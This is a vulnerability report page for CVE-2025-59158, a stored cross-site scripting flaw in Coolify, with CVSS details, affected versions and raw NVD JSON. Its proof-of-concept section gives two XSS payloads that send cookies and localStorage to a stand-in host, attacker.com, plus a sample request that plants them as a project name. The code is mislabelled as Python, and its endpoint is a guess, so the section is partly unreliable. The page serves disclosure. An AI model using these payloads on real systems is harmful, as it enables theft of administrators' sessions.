Security Vulnerability Report
中文
CVE-2025-59158 CVSS 8.0 HIGH

CVE-2025-59158

Published: 2026-01-05 18:15:44
Last Modified: 2026-01-12 15:08:34

Description

Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Coolify versions prior to and including v4.0.0-beta.420.6 are vulnerable to a stored cross-site scripting (XSS) attack in the project creation workflow. An authenticated user with low privileges (e.g., member role) can create a project with a maliciously crafted name containing embedded JavaScript. When an administrator later attempts to delete the project or its associated resource, the payload automatically executes in the admin’s browser context. Version 4.0.0-beta.420.7 contains a patch for the issue.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:coollabs:coolify:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:coollabs:coolify:4.0.0:beta100:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:coollabs:coolify:4.0.0:beta101:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:coollabs:coolify:4.0.0:beta102:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:coollabs:coolify:4.0.0:beta103:*:*:*:*:*:* - VULNERABLE
Coolify v4.0.0-beta.420.6及之前所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-59158 PoC - Coolify Stored XSS via Project Name // Steps to exploit: // 1. Login as a low-privilege user (member role) // 2. Create a new project with malicious name // 3. Wait for admin to delete the project // 4. XSS payload executes in admin's browser // Malicious project name payload const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Alternative payload for session hijacking const sessionHijackPayload = ` <img src=x onerror=" fetch('https://attacker.com/log?data='+btoa(JSON.stringify({ cookies: document.cookie, url: location.href, localStorage: localStorage }))) "/> `; // PoC request to create malicious project (example) const createProjectRequest = { method: 'POST', path: '/api/v1/projects', body: { name: xssPayload, description: 'Test Project', team_id: 'member-team-id' } }; // The XSS triggers when admin visits project deletion page: // GET /api/v1/projects/{project_id}/delete or similar endpoint // The response renders project.name without sanitization, executing the script.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59158", "sourceIdentifier": "[email protected]", "published": "2026-01-05T18:15:43.790", "lastModified": "2026-01-12T15:08:33.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Coolify versions prior to and including v4.0.0-beta.420.6 are vulnerable to a stored cross-site scripting (XSS) attack in the project creation workflow. An authenticated user with low privileges (e.g., member role) can create a project with a maliciously crafted name containing embedded JavaScript. When an administrator later attempts to delete the project or its associated resource, the payload automatically executes in the admin’s browser context. Version 4.0.0-beta.420.7 contains a patch for the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-116"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.0", "matchCriteriaId": "FCAEF3B5-C3E0-4DC5-99AC-A9820DE3EA4D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta100:*:*:*:*:*:*", "matchCriteriaId": "DD128680-A34B-4D2A-B44A-53FC4E406393"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta101:*:*:*:*:*:*", "matchCriteriaId": "51CEE245-2E82-4928-A900-E7F628B47336"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta102:*:*:*:*:*:*", "matchCriteriaId": "B0C45118-3AE6-443B-8CD9-B2B72CD24383"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta103:*:*:*:*:*:*", "matchCriteriaId": "004E8E36-44E8-4F64-8E2D-8804DF161CD7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta104:*:*:*:*:*:*", "matchCriteriaId": "BC538E12-494F-47EF-8D53-2D7CDAED98BC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta105:*:*:*:*:*:*", "matchCriteriaId": "54F12C6A-07B5-42F9-9AE6-281AA189BFF2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta106:*:*:*:*:*:*", "matchCriteriaId": "A1936F5B-2A32-4353-A4EA-A337C3A2D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta107:*:*:*:*:*:*", "matchCriteriaId": "B3A90F6B-070F-469F-8206-AE9DFBCE6B61"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta108:*:*:*:*:*:*", "matchCriteriaId": "EB776310-84B4-4CC8-B547-5D6A37EF5ECC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta109:*:*:*:*:*:*", "matchCriteriaId": "BF168BC8-E283-40FB-9B28-D048C25BD36F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:coollabs:coolify:4.0.0:beta110:*:*:*:*:*:*", "matchCriteriaId": ... (truncated)